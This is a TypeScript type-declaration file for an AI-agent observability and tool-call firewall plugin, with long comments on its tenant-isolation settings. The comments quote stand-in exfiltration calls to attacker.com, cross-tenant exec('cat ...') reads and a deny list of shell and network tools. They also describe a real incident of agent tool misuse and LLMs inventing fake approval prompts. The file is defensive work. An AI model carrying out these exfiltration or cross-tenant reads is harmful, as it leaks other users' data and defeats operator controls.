/** * @lumin-io/openclaw-diagnostics — Lumin's deepest hook into OpenClaw. * * Two related but separate APIs in OpenClaw observe a model call: * * 1. `internalDiagnostics.onEvent` — the bus the bundled * `@openclaw/diagnostics-otel` plugin reads. Carries timing, * sizes, and provider IDs but the runtime never populates the * `inputMessages` / `outputMessages` fields the OTel exporter * tries to read, so the diagnostics-otel content-capture flag * is effectively non-functional in 2026.5.x. Fixing that needs * an upstream PR; meanwhile we route around it. * * 2. **Typed hooks** (`llm_input`, `llm_output`) — the registration * surface used by trusted plugins. These DO carry full content * (the user prompt, history, system-role text, assistant * replies, usage) at runtime, which is exactly what an * observability tool needs. * * This plugin uses (2). On every llm_input / llm_output we build a * Lumin SpanInput and POST to `/v1/spans`. The agent never blocks on * us — failures are swallowed and budgeted with a short timeout. * * Activation prerequisite: non-bundled plugins must opt into * conversation access, so the operator's openclaw.json must contain * * "plugins": { * "entries": { * "lumin-diagnostics": { * "hooks": { "allowConversationAccess": true } * } * } * } * * The plugin's install step writes that for the operator; if it's * missing, OpenClaw silently drops the hook registration and we * never see content. The plugin warns once at startup if the flag * isn't set so the misconfiguration surfaces immediately. */ interface LuminDiagnosticsConfig { host?: string; project?: string; /** Capture the OpenAI-style "system message" (system-role content) * on each model.call. Off by default — these payloads are usually * large and rarely actionable for debugging. The character count * is captured into metadata regardless of this flag. */ captureSystemMessage?: boolean; maxContentChars?: number; timeoutMs?: number; /** Enable the synchronous decision check before every tool call. * When true, the plugin POSTs each tool invocation to * Lumin's /v1/policy/decide endpoint and translates the response * into OpenClaw's typed-hook return contract — block / rewrite / * requireApproval. Default: true. Set to false to keep observation- * only behavior (the prior 0.1.x default). */ enforce?: boolean; /** Hard timeout for the decide call. Tighter than the trace * ingest timeout because every tool call pays this latency. Spec * §2.4 caps before_tool_call at 50ms; we default to 75ms to * include the network round-trip on a localhost API. */ decideTimeoutMs?: number; /** When the decide endpoint is unreachable or slow, what should * the agent do? "allow" (default, Rule 7) lets the tool run; * "deny" cancels it. Production deployments that prefer * fail-closed should flip this to "deny" + accept the latency * tail. */ onFirewallError?: "allow" | "deny"; /** Sender IDs that are treated as administrators. Format matches * OpenClaw's canonical channel-scoped senderId (e.g. * "telegram:5706212396", "slack:U02ABCD123"). When a non-admin * sender's tool call gets blocked by the firewall, the plugin * suppresses the LLM's reply and substitutes ``userBlockedMessage`` * — closes the social-engineering surface where the LLM * hallucinates a fake /approve prompt the user can click. * * Empty list = every sender is treated as non-admin (most * conservative). Default: empty. For dev/personal-bot use cases * where the user IS the operator, leave empty AND set * ``allowApprovalSurfaceForAdmins: false`` to bypass the * suppression entirely. */ adminSenders?: string[]; /** The canned message shown to non-admin senders after a Lumin * block. Operators can override per-deployment. Default: * intentionally generic — no policy names, no technical detail, * no /approve hints. */ userBlockedMessage?: string; /** When true (default), admin senders see the agent's full reply * including any technical detail the LLM included about the * block. When false, even admins get the canned message. Useful * for ultra-locked-down deployments where ALL surfaces should * route admin context through the dashboard rather than chat. */ adminSeesFullResponse?: boolean; /** When true (default), Lumin REPLACES the LLM's reply on input-side * firewall blocks (block / require_approval at before_proxy_call). * The LLM still runs (OpenClaw doesn't expose a hook that can cancel * the call), but its output is discarded — the user sees Lumin's * canned ``userInputBlockedMessage`` (or ``userBlockedMessage`` as * fallback) instead. * * Why default on: LLM-generated refusals leak rule names ("I can't * because the system prompt says..."), invent fake /approve syntax, * and produce inconsistent UX. A canned reply gives the attacker * no information and stays auditable. * * Set to false only when you specifically want to see what the LLM * would have replied (shadow-mode debugging, A/B comparisons). The * existing rule modes (shadow / flag) already cover the * observation-only path without needing this flag. */ replyOnInputBlock?: boolean; /** Canned message shown when the firewall blocks at the input * (before_proxy_call) lifecycle. Optional — falls back to * ``userBlockedMessage`` when unset, so single-message deployments * just configure one field. * * The default is wording that fits a flagged user message * specifically: "Your message could not be processed..." reads * better than ``userBlockedMessage``'s "perform that action" * phrasing when the user just typed adversarial text. */ userInputBlockedMessage?: string; /** Operator-declared paths that bypass the per-sender storage * sandbox and resolve against the shared workspace root. Glob * patterns relative to the workspace, or absolute paths. * Example: ``["AGENTS.md", "IDENTITY.md", "templates/**"]``. * * Read-only by default — write tools (``write``, ``edit``) * targeting a shared path are blocked with * ``write_to_shared_path`` reason. Future: ``shared_writable`` * flag for opt-in writable scratchpads. */ sharedPaths?: string[]; /** When true, an fs tool call that arrives without a * ``workspaceDir`` in hook context is BLOCKED rather than * silently passed through. Production deployments should set * this to true (TENANT_ISOLATION_SPEC §2.1 fail-closed). The * default (false) preserves backward-compatible fail-warn * behaviour for existing operators. */ failClosedOnMissingWorkspace?: boolean; /** Override / fallback for the agent's workspace directory * used by the per-sender storage sandbox. OpenClaw 2026.5.x * has been observed NOT to propagate ``workspaceDir`` on the * ``before_tool_call`` hook context, which silently disables * the sandbox. Set this to your agent's workspace path * (typically ``~/.openclaw/workspace``) so the sandbox still * binds tool calls to per-sender directories. */ workspaceDir?: string; /** One-knob shorthand for tenant-isolation defaults. Pick the * profile that matches your bot's deployment risk level. Each * profile sets sensible defaults for every protection below. * Set individual toggles only if you need to deviate. * * | profile | who it's for | * |---|---| * | ``strict`` | Healthcare, finance, legal, multi-tenant SaaS — every protection on, fails closed | * | ``standard`` | Default — multi-user bots (Slack/Telegram support, sales triage) | * | ``light`` | Single-team internal bots, dev environments | * | ``logging-only`` | Trace + log only, never block (Lumin as a Langfuse-style observer) | * * 90% of operators set this once. Per-toggle fields below * override the profile's defaults when explicitly set. */ securityProfile?: "strict" | "standard" | "light" | "logging-only" | "balanced" | "permissive" | "observability"; /** Master switch for the entire tenant-isolation firewall. When * false, the plugin still records traces and spans but never * blocks or rewrites. Equivalent to ``securityProfile: * "logging-only"``. */ enableTenantIsolation?: boolean; /** Block tools that can run shell commands (exec, bash, python, * etc.). When true, an LLM that tries to ``exec("cat /other- * tenant/secret")`` is refused. Default: on. */ blockShellTools?: boolean; /** Block tools that can fetch from the web (web_fetch, http_get, * curl, etc.). When true, an LLM that tries to * ``web_fetch("https://attacker.com?leak=...")`` is refused. * Default: on. */ blockWebTools?: boolean; /** When does the bot's memory of prior turns get cleared? * * - ``"between-users"`` (default): each user gets a fresh * conversation. Switching from User A's turn to User B's * turn wipes the LLM's history. * - ``"between-channels"``: same user keeps history across * turns within one channel; switching channels wipes. * Better UX when one user uses both Telegram and Slack. * - ``"never"``: don't clear. Only safe when your bot * architecturally guarantees per-user contexts. */ resetMemoryBetweenUsers?: "between-users" | "between-channels" | "never"; /** When true, the AI's prompt is scrubbed of other users' data * (names, emails, account IDs, organisations) before every * model call. Defense-in-depth on top of memory reset. * Default: on for ``standard`` and ``strict`` profiles. */ hideOtherUsersData?: boolean; /** When true (default), every block/redaction generates an * audit row visible in the Lumin dashboard's Violations table. * Set to a number 0..1 to sample (e.g. 0.1 = record 10% of * blocks — useful for high-volume deployments). Default: 1.0. */ recordSecurityEvents?: boolean | number; /** Controls L2 conversation-history isolation behaviour * (TENANT_ISOLATION_SPEC §2.3). Three modes: * * - ``"clear-on-switch"`` (default): when the senderId for the * current turn differs from the previous turn on the same * agent, drop ``event.messages`` to ``[]`` so the LLM sees * only this turn — full structural isolation. * - ``"scope-by-channel"``: track last sender per * (agentId, channel) tuple instead of just agentId. Same * user across Telegram + Slack keeps history; switch within * the same channel still wipes. Useful when a single user * legitimately uses multiple transports. * - ``"off"``: do not clear history. ONLY appropriate when the * bot's runtime guarantees per-sender agent contexts * architecturally (spec §2.3 path (a)) — otherwise this * re-opens the cross-session leak vector. Audited with a * warning at startup. */ l2HistoryResetMode?: "clear-on-switch" | "scope-by-channel" | "off"; /** L3 input-redactor detector toggles. Each detector can be * disabled independently. Defaults follow the active * ``securityProfile``. Setting any field overrides the profile. * * - ``vault_exact`` — match foreign-tenant excerpts already * ingested into the vault. Cheap, exact-match. * - ``structural_pattern`` — regex-based ID / email / generic * pattern detection. Cheap, false-positive-prone but high * recall. * - ``presidio`` — Microsoft Presidio NER for person / * location / organization. Heavier (~50ms latency, ~750MB * image) — disable in size- or latency-constrained * deployments. */ l3Detectors?: { vault_exact?: boolean; structural_pattern?: boolean; presidio?: boolean; }; /** Fraction of plugin-side blocks that produce an L4 violation * row in /v1/violations. 1.0 = every block recorded; 0.1 = * 10% sampled; 0.0 = no rows. High-traffic deployments may * want sampling to keep audit-table volume manageable. Defaults * to the active securityProfile. */ auditSamplingRate?: number; /** Tools to refuse outright before any sandboxing logic runs. * Two classes of bypass tools default to deny: * * - Shell / code-exec — ``exec("cat /other/tenant/secret")`` * reads foreign data without ever touching fs tools. * - Network egress — ``web_fetch("https://attacker.com?leak=...")`` * exfiltrates data via URL params or POST body without * touching fs tools. * * Per spec §2.2 + §7, the only safe baseline is deny-by-default; * operators who need either class opt specific tool names in by * setting ``deniedTools: []`` (NOT recommended) or by overriding * with a curated subset. * * Default (v0.7.0): shell-class — ``exec, shell, bash, run, sh, * zsh, python, node, ruby``; egress-class — ``web_fetch, http_get, * http_post, http_put, http_delete, fetch, curl``. * * 2026-05-10 incidents (both real, both blocked by this default): * - Slack sender used ``exec`` to ``cat`` a Telegram sender's * per-sender memory file, exfiltrating customer data despite * an otherwise-working L1 storage sandbox. * - Same agent's system prompt advertised ``web_fetch`` as * available; an attacker could trivially have used * ``web_fetch("https://attacker.com?leak=" + secret)`` to * exfiltrate via URL — no fs tool, no exec, no audit-table * fingerprint beyond the egress hit. */ deniedTools?: string[]; } interface ResolvedProfile { failClosedOnMissingWorkspace: boolean; deniedTools: string[]; l2HistoryResetMode: "clear-on-switch" | "scope-by-channel" | "off"; l3Detectors: { vault_exact: boolean; structural_pattern: boolean; presidio: boolean; }; auditSamplingRate: number; enforce: boolean; } export declare const SECURITY_PROFILES: Record; /** * Merge a profile's defaults with explicit per-layer overrides from * the plugin config. Returns the effective settings the rest of the * plugin should use. Per-layer fields ALWAYS win when explicitly set; * the profile only fills the gaps. * * Default profile is "standard" — preserves existing behaviour for * operators who upgrade without setting securityProfile. */ export declare function resolveSecuritySettings(cfg: LuminDiagnosticsConfig): ResolvedProfile; declare const _default: { id: string; name: string; description: string; configSchema: import("openclaw/plugin-sdk/plugin-entry").OpenClawPluginConfigSchema; register: NonNullable; } & Pick; export default _default; //# sourceMappingURL=index.d.ts.map